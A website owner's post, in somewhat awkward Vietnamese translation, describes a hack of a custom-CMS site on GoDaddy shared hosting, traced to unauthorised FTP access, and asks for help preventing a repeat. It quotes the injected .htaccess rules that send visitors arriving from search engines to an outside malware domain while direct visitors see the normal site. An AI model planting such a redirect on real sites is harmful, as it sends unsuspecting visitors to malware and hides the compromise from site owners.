Trang web của tôi đã bị hack và tại thời điểm này, tôi biết một số chi tiết, nhưng tôi không biết chính xác nó đã xảy ra như thế nào hoặc làm thế nào để ngăn chặn nó trong tương lai. Tôi cần sự giúp đỡ của bạn trong việc cố gắng mổ xẻ cuộc tấn công để tôi có thể ngăn chặn nó xảy ra lần nữa. Cái này hơi dài, nhưng tôi muốn chắc chắn rằng tôi cung cấp đủ thông tin để giúp giải quyết vấn đề.
Đây là những gì đã xảy ra.
Vài tuần trước, tôi nhận được một email từ công ty lưu trữ của mình, GoDaddy, nói rằng trang web của tôi đã sử dụng quá nhiều tài nguyên và họ mong đợi rằng một truy vấn MySQL là thủ phạm. Truy vấn trong câu hỏi là một truy vấn tìm kiếm có 5-6 thuật ngữ trong đó. Cách mà tôi đã thiết lập, bạn càng tìm kiếm nhiều thuật ngữ, truy vấn càng trở nên phức tạp. Không vấn đề gì. Tôi đã sửa nó, nhưng đồng thời, GoDaddy cũng tạm thời đóng tài khoản của tôi và phải khoảng 3 ngày trước khi mọi thứ trở lại bình thường.
Sau sự cố đó, lưu lượng truy cập công cụ tìm kiếm của tôi giảm đáng kể, khoảng 90%. Nó thật tệ, bởi tôi đã không nghĩ gì về nó, viết nó ra cho fiasco truy vấn và hình dung rằng nó sẽ trở lại đúng lúc khi Google thu thập lại trang web. Nó đã không.
Vài ngày trước, tôi nhận được một email từ một người dùng nói rằng trang web của tôi đang lưu trữ phần mềm độc hại. Tôi đã tải trang web trực tiếp trong trình duyệt của mình, nhưng không thấy nội dung nào được đưa vào trang. Sau đó, tôi đã kiểm tra tệp .htaccess của mình và tìm thấy như sau:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Dễ thương. Và một chút lệch lạc. Điều hướng trực tiếp đến trang web từ thanh địa chỉ hoặc dấu trang, những gì tôi thường làm, sẽ tải trang web như bình thường. Hiếm khi nào tôi vào trang web của mình thông qua một liên kết từ một công cụ tìm kiếm, vì vậy đó là lý do tại sao vụ hack không bị phát hiện miễn là nó xảy ra. Phần mềm độc hại cũng không được lưu trữ trực tiếp trên trang web của tôi.
Một cuộc tìm kiếm nhanh cho thấy những người khác cũng gặp rắc rối tương tự, mặc dù tôi nghi ngờ rằng có rất nhiều người chưa phát hiện ra nó. Hầu hết các khuyến nghị là nâng cấp lên các phiên bản mới nhất của phần mềm, thay đổi mật khẩu, v.v.
Khi tôi sử dụng hệ thống quản lý nội dung tùy chỉnh của riêng mình chứ không phải Wordpress phổ biến, tôi đã đào sâu hơn một chút. Tôi đã quét tất cả các tệp của mình để tìm các hàm phổ biến được sử dụng trong khai thác PHP: base64_decode, exec, shell, v.v ... Không có gì đáng ngờ được bật lên và không có tệp nào thêm.
Tiếp theo tôi đã kiểm tra lịch sử trình quản lý tệp của GoDaddy và phát hiện ra rằng tệp .htaccess đã được thay đổi vào cùng ngày giống như khi truy vấn tìm kiếm của tôi bị cáo buộc sử dụng quá nhiều tài nguyên máy chủ. Nó có thể là một sự trùng hợp đáng tiếc, nhưng tôi không hoàn toàn chắc chắn. Chuyển hướng trong tệp .htaccess dường như không cần nhiều tài nguyên và truy vấn đủ phức tạp để có thể cần nhiều tài nguyên.
Tôi muốn chắc chắn rằng mã của tôi không phải là vấn đề, vì vậy tôi đã kiểm tra nhật ký lưu lượng cho hoạt động đáng ngờ trong khoảng thời gian tệp .htaccess bị sửa đổi, nhưng không thấy bất kỳ hoạt động GET hoặc POST nào có vẻ bất thường hoặc giống như hack cố gắng.
Cuối cùng, tôi đã yêu cầu nhật ký FTP từ GoDaddy và thấy rằng có quyền truy cập FTP trái phép tại thời điểm tệp .htaccess bị thay đổi. Lúc đó tôi đang đi nghỉ, máy tính của tôi bị tắt máy và không có ai khác có thông tin truy cập. Có vẻ như bất cứ ai sử dụng FTP chính cho tài khoản FTP, nhưng với IP là 91.220.0.19, trông giống như từ Latvia .
Trên lưu trữ được chia sẻ, có vẻ như GoDaddy sẽ tự động gán tên người dùng FTP chính dựa trên URL của trang web. Điều đó cực kỳ dễ đoán, hoặc ít nhất, đó là khi tôi thiết lập tài khoản lưu trữ của mình. Lần đầu tiên tôi đăng ký tài khoản lưu trữ vài năm trước, vì vậy nó có thể đã thay đổi, nhưng từ những gì tôi nhớ, tôi đã không thể chọn tên người dùng FTP chính. Hiện tại, bạn cũng không thể thay đổi tên người dùng và có vẻ như GoDaddy cũng không thể, trừ khi bạn hủy tài khoản của mình và từ chức. Trong khi bạn có thể tạo, xóa và chỉnh sửa người dùng FTP khác, người dùng FTP chính không thể bị xóa. Chỉ có thể thay đổi mật khẩu.
Ngoại trừ tên người dùng FTP chính, tất cả thông tin đăng nhập truy cập cho trang web, cơ sở dữ liệu, quản trị viên và tài khoản đều vô nghĩa, tên người dùng và mật khẩu ngẫu nhiên trông giống như con mèo của bạn đi trên bàn phím của bạn. Vd: lkSADf32! $ AsJd3.
Tôi đã quét kỹ máy tính của mình để tìm virus, phần mềm độc hại, v.v. trong trường hợp đó là điểm yếu trong liên kết, nhưng không có gì bật lên cả. Tôi sử dụng tường lửa, chương trình chống vi-rút và cố gắng sử dụng thói quen duyệt web an toàn.
Khi tôi cập nhật trang web của mình, tôi sử dụng Core FTP LE và kết nối SSH / SFTP. Tài khoản lưu trữ là một thiết lập Linux.
Khi nói chuyện với bộ phận hỗ trợ kỹ thuật của GoDaddy, họ không chắc mật khẩu FTP bị xâm phạm như thế nào. Trên lưu trữ được chia sẻ, họ không thể đặt khối IP ở cấp độ người dùng FTP. Họ cũng không thể thay đổi tên người dùng FTP chính. Khi tôi hỏi liệu họ có bảo vệ vũ phu xung quanh truy cập FTP không, ban đầu công nghệ có vẻ không chắc chắn, nhưng sau đó nói rằng họ đã làm sau khi tôi đọc lại nó vài lần. Tuy nhiên, tôi nghĩ rằng tôi nhớ đã hỏi câu hỏi tương tự trong một cuộc gọi trước đó và nghe rằng GoDaddy không có sự bảo vệ mạnh mẽ khi truy cập FTP. Tại thời điểm này, tôi không biết họ có làm hay không.
Tôi đã thay đổi tất cả thông tin đăng nhập truy cập của mình trên bảng và cũng cấm địa chỉ IP của Latvia sử dụng tệp .htaccess (có thể sẽ không tạo ra sự khác biệt nếu họ sử dụng FTP), nhưng tôi vẫn không chắc chắn về cách FTP mật khẩu đã bị xâm phạm để bắt đầu.
Tôi khá chắc chắn rằng vấn đề không nằm ở mã của tôi (ngay cả khi đó là thông tin FTP không nên bị lộ) hoặc với máy tính của tôi. Điều tôi nghi ngờ, nhưng không biết làm thế nào để chứng minh, đó là mật khẩu FTP bị ép buộc vì tên người dùng có thể dự đoán được. Cuộc tấn công vũ phu cũng có thể trùng với tài nguyên máy chủ đang sử dụng (đổ lỗi cho truy vấn của tôi), nhưng tôi không biết đủ khía cạnh kỹ thuật của máy chủ để biết liệu điều đó có khả thi hay thậm chí có khả năng hay không.
Bây giờ tôi cảm thấy như mình đang ở cuối của những gì tôi biết phải làm gì. Tôi muốn có thể hiểu cách thức cuộc tấn công được thực hiện và cách ngăn chặn nó, vì vậy nếu bạn có thêm ý tưởng nào về các vectơ tấn công, chẩn đoán có thể được chạy hoặc các biện pháp bảo mật bổ sung, tôi sẽ rất biết ơn. Tôi sẵn sàng thay đổi máy chủ hoặc mương chia sẻ lưu trữ, nhưng tôi muốn chắc chắn rằng tôi có thể ngăn điều này xảy ra lần nữa.
Giúp tôi với, Obi-Wan Kenobi ...